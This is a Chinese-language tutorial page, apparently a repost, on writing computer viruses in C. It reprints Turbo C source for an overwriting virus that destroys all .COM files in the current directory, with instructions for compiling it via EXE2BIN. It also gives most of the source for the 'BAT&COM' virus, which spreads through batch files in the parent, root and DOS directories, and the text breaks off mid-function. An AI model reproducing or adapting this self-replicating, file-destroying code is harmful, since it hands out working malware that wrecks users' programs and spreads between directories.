1. 程式人生 > >C編寫的簡單病毒程式

C編寫的簡單病毒程式

C,是程式設計師最常用的程式語言之一。類似C等高階程式語言為開發人員提供了大量的內建函式,可以方便程式設計師編寫各種跨平臺的安心的應用程式設計。對於編寫病毒而言,也方便了程式設計師來用自己擅長的語言來編寫,但同時也帶來了很多弊端。第一,許多高階語言的程式設計並不基於底層系統,即使是C也不太容易。這就導致這類的大都數病毒的傳播機制十分原始(通常是通過重寫來實現);另一方面的不足是,大多用高階語言編寫的病毒至少有10K,然而更多是比這還更大,這對病毒來說可行不通。如此大的一個常駐記憶體的病毒將是不切實際的,因為當一大塊記憶體不明不白的消失時,這很容易引起使用者的注意。 
  另一種用高階語言編寫的是程式碼病毒(source-code virus)。這類病毒極其罕見,但是這類病毒是非常高效的。程式碼病毒的機制,簡而言之,搜尋同一類語言的程式碼檔案,比如說,它可能會搜找全部以“.C”為副檔名的C檔案,然後它會把自己的加到那個檔案裡(通常以新增一個包含此程式的標頭檔案然後在main()函式中新增一個呼叫),這使病毒在編譯這檔案時至少執行一次。編譯之後,病毒一般會隱藏在這程式裡潛伏,直到找到另一個C檔案。

  不管病毒採用哪種方式,所有的病毒都具有如下一些共同的基本特性:

  1.搜尋一個檔案進行感染,這檔案可以是可執行檔案,原始碼檔案,或是什麼都行(若沒找到,則跳轉到第三步)

  2.把病毒本體寫入此檔案

  3.檢查有沒可滿足的觸發條件

  4.返回宿主程式或是停止執行並返回到DOS

  對於重寫型病毒(Overwriting Virus),它的實現方式很簡單。唯一的不足是,它們會摧毀被感染的檔案,這使它們很容易被發現。唯一彌補的辦法是,找到所有的被感染的檔案並刪除它們,然後從備件那裡恢復。下面這個病毒是用C寫的比較簡單的重寫型病毒,它會感染當前目錄下的所有.COM檔案,然後把它們徹底刪除。每當它感覺到一個檔案,它會在螢幕上打印出“Infecting [FILENAME]”(感染 [檔名])警告。如果你想把它編譯並測試,則首先編譯它,然後用EXE2BIN把它轉化成.BIN檔案,之後檢查它的最終大小。如果不等於9504K,則改寫這行:“x=9054;”成適當的大小。它會以一種很原始的方式:刪除所有的它命中.COM檔案,因此得相當小心這病毒。

  程式碼:

      - - ------------------ Cut Here -------------------------- - - 
  /* This is a simple overwriting virus programmed in Turbo C */ 
  /* It will infect all .COM files in the current directory */ 
  /* Infections destroy the programs and cannot be cured */ 
  /* It was presented in Virology 101 © 1993 Black Wolf */ 
  /* FOR EDUCATIONAL PURPOSES ONLY, DO NOT RELEASE! */ 
  #include   
  #include   
  #include   
  FILE *Virus,*Host; 
  int x,y,done; 
  char buff[256]; 
  struct ffblk ffblk; 
  main() 
  { 
        done = findfirst("*.COM",&ffblk,0);                                               /* Find a .COM file */   
       while (!done)                                                                                     /* Loop for all COM's in DIR*/ 
       { 
           printf("Infecting %s\n", ffblk.ff_name);                                     /* Inform user */ 
          Virus=fopen(_argv[0],"rb");                                                         /* Open infected file */ 
          Host=fopen(ffblk.ff_name,"rb+");                                                /* Open new host file */ 
          x=9504;                                                                                          /* Virus size - must */ 
   
         /* be correct for the */ 
  /* compiler it is made */ 
  /* on, otherwise the */ 
  /* entire virus may not*/ 
  /* be copied!! */ 
   
                while (x>256) /* OVERWRITE new Host */ 
             {                                                                                                   /* Read/Write 256 byte */ 
                  fread(buff,256,1,Virus);                                                      /* chunks until bytes */ 
                  fwrite(buff,256,1,Host);                                                      /* left < 256 */ 
                 x-=256; 
              } 
               fread(buff,x,1,Virus); /* Finish off copy */ 
              fwrite(buff,x,1,Host); 
              fcloseall(); /* Close both files and*/ 
             done = findnext(&ffblk); /* go for another one. */ 
        } 
                                           /* Activation would go */ 
                                           /* here */    
  return (0);                       /* Terminate */ 
  } 
  - - ------------------ Cut Here --------------------------- - -

下面要介紹的病毒也是用C編寫的,但它和上面所講的病毒在功能上有很大的不同。它不是感染可執行檔案並重寫它們,而是感染指定目錄的.BAT檔案。當BAT&COM執行的時候,它首先會在當前目錄的下一個目錄搜尋批處理檔案(Batch file)。如果沒有找到任何的BAT檔案,它會試著在根目錄裡找,最後會試著在DOS目錄下找。如果它找到了,它會感染此目錄下的所有批處理檔案,然後檢查這檔案已經被感染。如果沒有,就生成一個包含病毒,名叫BAT&COM的檔案。在我的設定裡,用EXE2BIN轉換之後,最終大小約為10K。這病毒程式碼如下:

      The BAT&COM Virus in C 
  程式碼: 
  - - - -----------------Start Code------------------------- - - - 
  /* This file is a high-level language virus of a different sort. 
  It will search out batch files and, when found, place a copy 
  of itself in the directory with the batch file while adding 
  instructions in the BAT to execute this new file. In this way, 
  it will spread each time an "infected" batch is run. 
  Disinfection is done simply by deleting all of the BAT&COM.COM 
  files and removing the commands from batch files that ruin 
  them. This one is NOT confined to the current directory, 
  so make sure it is on an isolated machine and be sure to 
  clean up any infections. PLEASE DO NOT RELEASE! 
  BAT&COM virus is (C) 1993 Black Wolf Enterprises. 
  */ 
  #include   
  #include   
  #include   
  #include   
  struct ffblk ffblk; 
  main() 
  { 
          char old_dir[MAXPATH]; 
         Get_Path(old_dir); /* Save the old directory */ 
         Pick_A_Dir(); /* Find a new directory to */ 
         Infect_Directory(); /* infect and infect it. */ 
         chdir(old_dir); /* Return to old directory */   
        return 0; 
  } 
         Pick_A_Dir() 
          { 
              int done; 
              chdir(".."); /* First, Go out a DIR. */ 
             done=findfirst("*.BAT",&ffblk,0); /* If no BAT files, try */ 
                                            /* root and DOS */ 
              if (done) 
               { 
                    chdir("\\"); 
                    done=findfirst("*.BAT",&ffblk,0); 
                    if (done) chdir(""); 
               } 
                return 0; 
          } 
  int Infect_Directory() 
   { 
         int done; 
        done = findfirst("*.BAT",&ffblk,0); 
       while (!done) /* Find all .BAT files */ 
        { /* and add code to run */ 
                Do_Batch(); /* BAT&COM if not */ 
               done = findnext(&ffblk); /* already there */ 
        } 
         if (findfirst("BAT&COM.COM",&ffblk,0)) /* If BAT&COM does */ 
        {Copy_Virus();} /* not exist, then */ 
        return 0; /* copy it into dir.*/